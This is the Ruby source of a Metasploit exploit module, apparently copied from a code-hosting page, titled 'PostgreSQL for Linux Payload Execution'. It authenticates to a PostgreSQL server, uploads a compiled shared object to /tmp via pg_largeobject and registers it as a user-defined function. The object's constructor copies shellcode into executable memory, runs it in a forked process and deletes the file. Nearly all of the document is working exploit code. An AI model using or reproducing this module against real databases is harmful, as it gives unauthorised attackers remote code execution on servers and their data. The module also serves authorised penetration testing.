190 lines
5.2 KiB
Ruby
190 lines
5.2 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'msf/core/exploit/postgres'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::Postgres
|
|
include Msf::Auxiliary::Report
|
|
|
|
# Creates an instance of this module.
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'PostgreSQL for Linux Payload Execution',
|
|
'Description' => %q{
|
|
On some default Linux installations of PostgreSQL, the
|
|
postgres service account may write to the /tmp directory, and
|
|
may source UDF Shared Libraries's from there as well, allowing
|
|
execution of arbitrary code.
|
|
|
|
This module compiles a Linux shared object file, uploads it to
|
|
the target host via the UPDATE pg_largeobject method of binary
|
|
injection, and creates a UDF (user defined function) from that
|
|
shared object. Because the payload is run as the shared object's
|
|
constructor, it does not need to conform to specific Postgres
|
|
API versions.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'midnitesnake', # this Metasploit module
|
|
'egypt', # on-the-fly compiled .so technique
|
|
'todb' # original windows module this is based on
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'URL', 'http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt' ]
|
|
],
|
|
'Platform' => 'linux',
|
|
'Payload' =>
|
|
{
|
|
'Space' => 65535,
|
|
'DisableNops' => true,
|
|
},
|
|
'Targets' =>
|
|
[
|
|
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
|
|
[ 'Linux x86_64', { 'Arch' => ARCH_X64 } ],
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Jun 05 2007'
|
|
|
|
))
|
|
|
|
deregister_options('SQL', 'RETURN_ROWSET')
|
|
end
|
|
|
|
def check
|
|
version = postgres_fingerprint
|
|
|
|
if version[:auth]
|
|
return CheckCode::Appears
|
|
else
|
|
print_error "Authentication failed. #{version[:preauth] || version[:unknown]}"
|
|
return CheckCode::Safe
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
version = do_login(username,password,database)
|
|
case version
|
|
when :noauth; print_error "Authentication failed."; return
|
|
when :noconn; print_error "Connection failed."; return
|
|
else
|
|
print_status("#{rhost}:#{rport} - #{version}")
|
|
end
|
|
|
|
fname = "/tmp/#{Rex::Text.rand_text_alpha(8)}.so"
|
|
|
|
unless postgres_upload_binary_data(payload_so(fname), fname)
|
|
print_error "Could not upload the UDF SO"
|
|
return
|
|
end
|
|
|
|
print_status "Uploaded as #{fname}, should be cleaned up automatically"
|
|
begin
|
|
func_name = Rex::Text.rand_text_alpha(10)
|
|
postgres_query(
|
|
"create or replace function pg_temp.#{func_name}()"+
|
|
" returns void as '#{fname}','#{func_name}'"+
|
|
" language c strict immutable"
|
|
)
|
|
rescue RuntimeError => e
|
|
print_error "Failed to create UDF function: #{e.class}: #{e}"
|
|
end
|
|
postgres_logout if @postgres_conn
|
|
|
|
end
|
|
|
|
# Authenticate to the postgres server.
|
|
#
|
|
# Returns the version from #postgres_fingerprint
|
|
def do_login(user=nil,pass=nil,database=nil)
|
|
begin
|
|
password = pass || postgres_password
|
|
vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}")
|
|
result = postgres_fingerprint(
|
|
:db => database,
|
|
:username => user,
|
|
:password => password
|
|
)
|
|
if result[:auth]
|
|
report_service(
|
|
:host => rhost,
|
|
:port => rport,
|
|
:name => "postgres",
|
|
:info => result.values.first
|
|
)
|
|
return result[:auth]
|
|
else
|
|
print_status("Login failed, fingerprint is #{result[:preauth] || result[:unknown]}")
|
|
return :noauth
|
|
end
|
|
rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError
|
|
return :noconn
|
|
end
|
|
end
|
|
|
|
|
|
def payload_so(filename)
|
|
shellcode = Rex::Text.to_hex(payload.encoded, "\\x")
|
|
#shellcode = "\\xcc"
|
|
|
|
c = %Q^
|
|
int _exit(int);
|
|
int printf(const char*, ...);
|
|
int perror(const char*);
|
|
void *mmap(int, int, int, int, int, int);
|
|
void *memcpy(void *, const void *, int);
|
|
int mprotect(void *, int, int);
|
|
int fork();
|
|
int unlink(const char *pathname);
|
|
|
|
#define MAP_PRIVATE 2
|
|
#define MAP_ANONYMOUS 32
|
|
#define PROT_READ 1
|
|
#define PROT_WRITE 2
|
|
#define PROT_EXEC 4
|
|
|
|
#define PAGESIZE 0x1000
|
|
|
|
char shellcode[] = "#{shellcode}";
|
|
|
|
void run_payload(void) __attribute__((constructor));
|
|
|
|
void run_payload(void)
|
|
{
|
|
int (*fp)();
|
|
fp = mmap(0, PAGESIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
|
|
|
|
memcpy(fp, shellcode, sizeof(shellcode));
|
|
if (mprotect(fp, PAGESIZE, PROT_READ|PROT_WRITE|PROT_EXEC)) {
|
|
_exit(1);
|
|
}
|
|
if (!fork()) {
|
|
fp();
|
|
}
|
|
|
|
unlink("#{filename}");
|
|
return;
|
|
}
|
|
|
|
^
|
|
|
|
cpu = case target_arch.first
|
|
when ARCH_X86; Metasm::Ia32.new
|
|
when ARCH_X64; Metasm::X86_64.new
|
|
end
|
|
payload_so = Metasm::ELF.compile_c(cpu, c, "payload.c")
|
|
|
|
so_file = payload_so.encode_string(:lib)
|
|
|
|
so_file
|
|
end
|
|
end
|